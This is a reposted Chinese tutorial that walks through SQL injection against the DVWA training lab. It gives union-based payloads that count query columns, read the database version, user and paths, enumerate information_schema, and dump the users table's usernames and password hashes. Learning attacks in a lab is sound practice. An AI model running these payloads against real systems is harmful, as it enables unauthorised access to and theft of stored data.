千家信息网

DVWA亲测SQL注入漏洞

发表于:2024-09-21 作者:千家信息网编辑
千家信息网最后更新 2024年09月21日,介绍:关于sql注入的基础知识,我上篇文章也写过了,这篇就用靶机的漏洞环境来实践操作一下,所谓实践出真理嘛,我们这次试用的漏洞平台是DVWA,Github下载地址:DVWA关于一下注入的基本知识或者姿
千家信息网最后更新 2024年09月21日DVWA亲测SQL注入漏洞
介绍:

关于sql注入的基础知识,我上篇文章也写过了,这篇就用靶机的漏洞环境来实践操作一下,所谓实践出真理嘛,我们这次试用的漏洞平台是DVWA,Github下载地址:DVWA
关于一下注入的基本知识或者姿势,我会在实践中详解。

实验:

LOW等级
先输入1看一下

我们在加个单引号

这里的搜索框为什么没有显示单引号呢?因为被url编码了
一般的url编码其实就是那个字符的ASCII值得十六进制,再在前面加个%。
具体可以看URL编码,这里可以查到每个字符的url编码,当然自己编程或者用该语言应该也有自带的函数,去实现url编码。
这里说下sql注入中常见的url编码:
空格是%20
单引号是%27
井号是%23(表注释)
双引号是%22
看报错我们能看到,这是由' '两个单引号扩起来的参数,看看源代码

我们看

$query  = "SELECT first_name, last_name FROM users WHERE user_id = '$id';"$id = $_REQUEST[ 'id' ];

参数没有经过任何的过滤....我们尝试闭合单引号。
比如我们输入id=1' or '1'='1
语句就变成了

$query  = "SELECT first_name, last_name FROM users WHERE user_id = '1' or '1'='1';";

当然,我们也可以使用注释来注释后面的单引号
sql中注释 单行可以使用 #(忽略) --(忽略),多行使用/ /
我们试试1' #

下面我们来利用漏洞获取数据库信息
大概步骤就是:
1.猜解所查询的字段数目
2.获取字段显示位
3.通过显示位获取数据库信息
4.获取数据库中的表名
5.获取表中的列名(字段)
6.导出数据库中的数据
7.验证导出数据的有效性
猜解所查询的字段数
方式1: order by num
若num数值超过了字段数,则查询会报错,从而判断出select语句所查询字段的数目
输入:
1' order by 2 #

1' order by 3 #

报错,说明数据表中只有两个字段
方式二:union select 1,2,3...
若union select后的数字位(不一定是1/2/3,只要有数字占位即可)与实际查询的字段位不完全对应时,查询就会报错,直至调整到不报错时的占位个数,从而判断实际查询的字段数
输入:union select 1,2 #

输入:union select 1,2.3 #

获取字段的显示位
1' union select 1,2 #

既然显示位显示的是我们设定数值,那么我们就通过显示位获取数据,输出出来
通过显示位获取数据库信息
此处会用到Mysql注入常用的一些函数,可参看此文==>SQL注入常用的内置函数整理(以MySql为例)
获取当前连接的数据库名称、DBMS的版本(Mysql的版本)
1' union select database(),version() #

获取当前连接数据库的用户
1' union select 1,user() #

获取服务器的操作系统、数据库的存储目录
1' union select @@version_compile_os,@@datadir #

获取数据库中所有数据库名
在此之前,科普一下数据库的知识
mysql的数据库information_schema,他是系统数据库,安装完就有,记录是当前数据库的数据库,表,列,用户权限等信息
information_schema.schemata 记录所有的数据库名称
Information_schema.tables: 记录表名信息的表(也有数据库名字段)
Information_schema.columns: 记录列名信息的表(数据库名、表名、字段名)
1' union select 1,schema_name from information_schema.schemata # 可能是权限问题,没有全部爆出来

去数据库执行是这样的

我们发现数据库dvwa正是我们想要的,因此,通过此数据库,去爆表
获取当前连接数据库(dvwa)中的所有表
1' union select 1,table_name from information_schema.tables where table_schema="dvwa" #
where .. 后面表示的限制的条件,只查数据库名是dvwa的表

获取表中的列名(字段)
1' union select 1,column_name from information_schema.columns where table_name="users" #

这样输出有点乱,我们使用group_concat()将他们简单的输出出来
1' union select 1,group_concat(column_name) from information_schema.columns where table_name="users" #

如果你觉得有点挤,看的不舒服的话,你可以
1' union select 1,group_concat(column_name,' ') from information_schema.columns where table_name="users" #

这样是不是就明显多了?关于group_concat(),还有concat()可以自行百度学习
知道了数据库的表名、字段名就可以爆表了
爆表
1' union select 1,concat(user,'--',password) from users #

还有其他更多的导出操作,一些导出函数的使用,可以自行尝试
验证导出数据的有效性

OK!!
Medium
只是闭合方式不同

其余操作步骤与上差不多
high

想办法闭合,其他就自然好起来了!

数据 数据库 字段 引号 查询 信息 编码 输入 函数 注释 漏洞 方式 知识 实践 输出 闭合 有效 两个 参数 名称 数据库的安全要保护哪些东西 数据库安全各自的含义是什么 生产安全数据库录入 数据库的安全性及管理 数据库安全策略包含哪些 海淀数据库安全审计系统 建立农村房屋安全信息数据库 易用的数据库客户端支持安全管理 连接数据库失败ssl安全错误 数据库的锁怎样保障安全 dvwa 数据库配置信息 浙大数据库应用程序实验报告 直播软件开发哪个公司最好 中学学生网络安全测试题 云计算服务器安全防护 计算机网络技术三二分段考什么 华北科技学院数据库实验三 数据库审计云端部署 众神争霸服务器 神通数据库怎么查表的索引 杭州手淘网络技术怎么样 黄浦区银联数据库销售价格 lol服务器一直卡在选英雄界面 中国有根服务器 证券行业软件开发 面试题 无锡专业软件开发售后保障 网络安全宣传周的相关部门 王者服务器怎么找账号 多对多数据库的建立 网络安全研究方向的代表人物 怎么用软件查看服务器型号呢 服务器软件可以修改名字吗 数据库三级考试有没有套路 主机怎么连接服务器 服务器代码迁移 软件开发模型的优缺点 天津名优网络技术服务机构 大专数据库运维期末考试 台州网警 网络安全天天学 cs 删除服务器
0